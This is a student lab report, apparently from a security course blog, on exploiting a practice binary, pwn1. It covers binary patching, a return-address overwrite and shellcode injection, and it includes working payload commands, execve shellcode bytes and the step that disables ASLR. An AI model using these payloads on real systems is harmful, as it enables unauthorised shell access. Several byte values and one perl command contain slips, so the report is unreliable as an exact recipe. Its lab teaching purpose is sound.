20242412 2026-2027-1 《网络与系统攻防技术》实验一实验报告

20242412 2026-2027-1 《网络与系统攻防技术》实验一实验报告

1. 基础知识

本次实验涉及的核心知识点总结如下:

(1)缓冲区溢出(Buffer Overflow)
程序向缓冲区写入数据时,超出了缓冲区的边界,覆盖了相邻内存区域的值。当被覆盖的内存区域恰好是函数返回地址时,攻击者就可以劫持程序执行流,让程序跳转到任意地址执行代码。

(2)栈帧结构
函数调用时会在栈上创建一个栈帧,从高地址到低地址依次是:返回地址、旧 ebp、局部变量(缓冲区)。栈是向下增长的,所以往缓冲区写数据写多了,会先覆盖旧 ebp,再覆盖返回地址。

(3)getShell
程序中预置的一段代码,调用 system("/bin/sh") 直接启动一个 shell。正常执行流程不会走到这里,我们通过修改程序流程或溢出攻击让它被执行。

(4)NOP 滑行(NOP Sled)
在 shellcode 前面放一串 NOP 指令(机器码 0x90)。即使返回地址不是精确指向 shellcode 的开头,只要落在 NOP 区域内,CPU 就会一路滑下去执行到 shellcode,提高攻击成功率。

(5)shellcode
一段机器码,功能是启动一个 shell。经典的 Linux 32 位 execve("/bin/sh") shellcode 长度约 23-25 字节。

(6)ASLR(地址空间随机化)
Linux 的安全保护机制,每次运行程序时随机化栈、库的起始地址。调试时需要关闭,否则栈地址每次都变,算出的返回地址会失效。

(7)常用汇编指令及机器码

本实验涉及的核心汇编指令机器码如下,修改可执行文件时需要直接操作这些字节:

指令 机器码(十六进制) 说明
NOP 0x90 空操作,占用一个字节,常用于 NOP 滑行
JMP 短跳转 0xeb + 1字节偏移 跳转到当前地址 ±127 字节范围内
JMP 近跳转 0xe9 + 4字节偏移 32位地址空间内跳转,本实验修改 call 指令时用到
JE / JZ 0x74 相等/为零则跳转(jump if equal / zero)
JNE / JNZ 0x75 不相等/非零则跳转(jump if not equal / not zero)
CALL 0xe8 + 4字节偏移 函数调用,把返回地址压栈后跳转
RET 0xc3 函数返回,从栈顶弹出返回地址送入 eip
CMP 0x38/0x39/0x3a/0x3b 比较两个操作数,结果影响标志位
PUSH 0x50~0x57 将寄存器/立即数压入栈
POP 0x58~0x5f 从栈顶弹出数据到寄存器
MOV 0x89/0x8b 数据传送,寄存器间或内存与寄存器间赋值

其中 CALL 和 JMP 的偏移量计算方式相同:偏移量 = 目标地址 - 下一条指令地址,结果以补码形式的 32 位小端序存储在操作码后面。

(8)常用工具

  • objdump -d:反汇编可执行文件,查看汇编代码和地址
  • xxd / hexedit:十六进制查看和编辑工具
  • gdb:GNU 调试器,用于动态调试程序
  • perl -e 'print ...':快速生成二进制 payload

2. 实验内容

本次实践的对象是名为 pwn1 的 Linux 可执行文件。该程序正常执行流程是:main 调用 foo 函数,foo 函数会简单回显任何用户输入的字符串。程序中还包含另一个代码片段 getShell,会返回一个可用 Shell,正常情况下不会被运行。

三个实践内容如下:

  1. 手工修改可执行文件,改变程序执行流程,直接跳转到 getShell 函数。
  2. 利用 foo 函数的 Bof 漏洞,构造一个攻击输入字符串,覆盖返回地址,触发 getShell 函数。
  3. 注入自己制作的 shellcode,并运行这段 shellcode。

3. 实验过程

3.1 准备工作

将实验文件 pwn1 复制到学号命名的目录下,查看文件基本信息。

确认文件是 32 位 ELF 格式(elf32-i386),适合做栈溢出实验。

进入学号目录并查看文件


3.2 任务一:手工修改可执行文件,跳转到 getShell

3.2.1 反汇编查看程序结构

用 objdump -d pwn1 反汇编,找到关键函数地址:

反汇编 getShell 和 foo 函数

从反汇编结果可以看到:

  • getShell 函数地址:0x0804847d
  • foo 函数地址:0x08048491

继续查看 main 函数:

反汇编 main 函数

main 函数中有一条 call foo 指令,地址在 0x080484ba 附近,机器码是 e8 d8 ff ff ff。这条指令的含义是:调用当前地址 + 偏移量处的函数。

我们的目标:把这条 call foo 改成 call getShell,这样 main 直接调用 getShell,就拿到 shell 了。

3.2.2 计算需要修改的机器码

原来的 call foo:

  • 指令地址:0x080484b5
  • 下一条指令地址:0x080484ba
  • foo 地址:0x08048491
  • 偏移量 = foo - 下一条指令 = 0x08048491 - 0x080484ba = 0xffffffd7(补码表示)

改成 call getShell:

  • getShell 地址:0x0804847d
  • 新偏移量 = getShell - 下一条指令 = 0x0804847d - 0x080484ba = 0xffffffc3

所以只需要把 call 指令后面的 4 字节偏移量从 d7 ff ff ff 改成 c3 ff ff ff。

3.2.3 用十六进制编辑器修改文件

用 vi 打开 pwn1:

十六进制编辑器查看

切换到十六进制模式(:%!xxd),找到对应的位置:

十六进制编辑器修改中

找到 e8 d7 ff ff ff 这一串(call 指令的机器码),把偏移量部分改成 e8 c3 ff ff。

修改完成后,用 :%!xxd -r 切回正常模式,保存退出。

3.2.4 验证修改结果

反汇编修改后的文件 pwn2,确认 call 指令已经指向 getShell:

反汇编修改后的文件

可以看到 main 里的 call 指令已经变成了 call 804847d <getShell>。

运行修改后的程序:

运行 pwn2

直接拿到了 shell($ 提示符),任务一完成。


3.3 任务二:利用 Bof 漏洞,覆盖返回地址触发 getShell

3.3.1 gdb 动态调试分析

启动 gdb 调试原始的 pwn1:

gdb 启动

运行程序,输入一串数字测试溢出效果:

1111111122222222333333334444444412345678

程序崩溃后查看寄存器:

gdb info r

关键发现:

  • eip = 0x34333231
  • 这个值正好是输入字符串里 '1','2','3','4' 的 ASCII 码(小端序)

这说明我们的输入已经成功覆盖了返回地址,eip 完全可控。

3.3.2 构造 payload

现在我们要把返回地址改成 getShell 的地址 0x0804847d。

小端序下,getShell 地址写出来是:\x7d\x84\x04\x08

用 perl 生成 payload:

perl 生成 input 文件

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08" > input'

这里前面的填充字节数根据之前溢出测试的结果来定,正好填到返回地址的位置。

运行攻击:

(cat input;cat) | ./pwn1

成功跳转到 getShell,拿到 shell。


3.4 任务三:注入自己制作的 shellcode

3.4.1 关闭 ASLR

因为栈地址每次运行都会随机化,所以调试前先关闭 ASLR:

关闭 ASLR

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

确认输出为 0,说明关闭成功。

3.4.2 构造带 shellcode 的 payload

经典的 Linux 32 位 execve("/bin/sh") shellcode:

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80

payload 结构:

[填充字节] + [返回地址(指向栈上 shellcode)] + [NOP sled] + [shellcode]

用 perl 生成:

注入 shellcode 测试

perl -e 'print "A" x 52 . "\xc8\xd4\xff\xbf" . "\x90" x 40 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . > input_shellcode

运行:

./pwn1 < input_shellcode

程序成功执行 shellcode,启动 shell。


4. 问题及解决方案

  • 问题1:apt 安装 gobuster 报 "Unable to locate package"

现象:执行 sudo apt install gobuster 报错,说找不到包。

原因:Kali 官方源服务器在国外,虚拟机里直连超时,apt 本地索引没更新成功。

  • 问题1解决方案:换成清华 TUNA 镜像源。
echo "deb https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main non-free contrib" | sudo tee /etc/apt/sources.list
sudo apt update

换源后更新速度明显变快,包也能找到了。


  • 问题2:gdb 里直接输入数字报 "Undefined command"

现象:在 gdb 的 (gdb) 提示符后面输入 1111111222222...,gdb 报 "Undefined command"。

原因:(gdb) 是调试器自己的命令行,不是给被调试程序输入的地方。gdb 把数字当成调试命令来解析,当然不认识。

  • 问题2解决方案:
    想给程序喂输入,先 run 启动程序,等程序运行到等待输入时再敲
    或者用重定向:run < input.txt
    调试完直接退出 gdb,在普通终端里 ./pwn1 < input 更方便

  • 问题3:关闭 ASLR 时 permission denied

现象:执行 echo 0 > /proc/sys/kernel/randomize_va_space 报权限不够。

原因:/proc/sys/ 是内核参数目录,只有 root 能写。

  • 问题3解决方案:加 sudo,注意重定向要配合 tee 使用:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

不能直接 sudo echo 0 > ...,因为 > 是 shell 做的,sudo 管不到重定向。


  • 问题4:构造 payload 后段错误,拿不到 shell

现象:按照实验指导的偏移量填了 32 个 A,然后写返回地址,但运行后还是段错误,eip 是一串奇怪的值。

原因:实际偏移量和实验指导里的不一样。Kali 版本、编译参数不同,缓冲区到返回地址的距离会变。实验里是 32 字节,实际可能是 52 字节左右。填少了返回地址没写到正确位置,被后面的 NOP/shellcode 盖住了。

  • 问题4解决方案:
  1. 在 gdb 里崩溃后用 x/20xw $esp-16 看栈上的实际布局
  2. 反推真实偏移量,调整填充字节数
  3. NOP sled 写长一点(比如 40 个 \x90),地址偏一点也能滑过去

5. 学习感悟、思考等

这次实验是我第一次真正动手做栈溢出攻击,从一开始连 apt 源都配不好,到最后能自己构造 payload 拿到 shell,整个过程踩了不少坑,也学到了很多。

最大的感受是:理论和实践的差距真的很大。上课听老师讲栈溢出原理,觉得"不就是覆盖返回地址嘛",真自己上手才知道,偏移量差一个字节都不行,小端序写反了也不行,ASLR 没关也不行,NOP 不够长也不行。每一个小细节都可能导致前功尽弃。

还有一点体会:调试比盲猜重要得多。一开始我照着实验指导抄命令,结果跑不通,就哪里都不敢动。后来学会了在 gdb 里 info r 看寄存器、x/20xw $esp 看栈内容,慢慢就能自己定位问题了。eip 是什么值,栈上布局是什么样,一看就知道哪里错了。

另外,安全防护和漏洞利用其实是一体两面。我们这次做实验要关 ASLR、要确认栈可执行,恰恰说明这些保护机制是有用的。真实环境里攻击者面对的防护比这复杂得多,也更能理解为什么现在的系统默认开这么多保护。


参考资料

posted @ 2026-10-11 14:49  钎城  阅读(8)  评论(0)    收藏  举报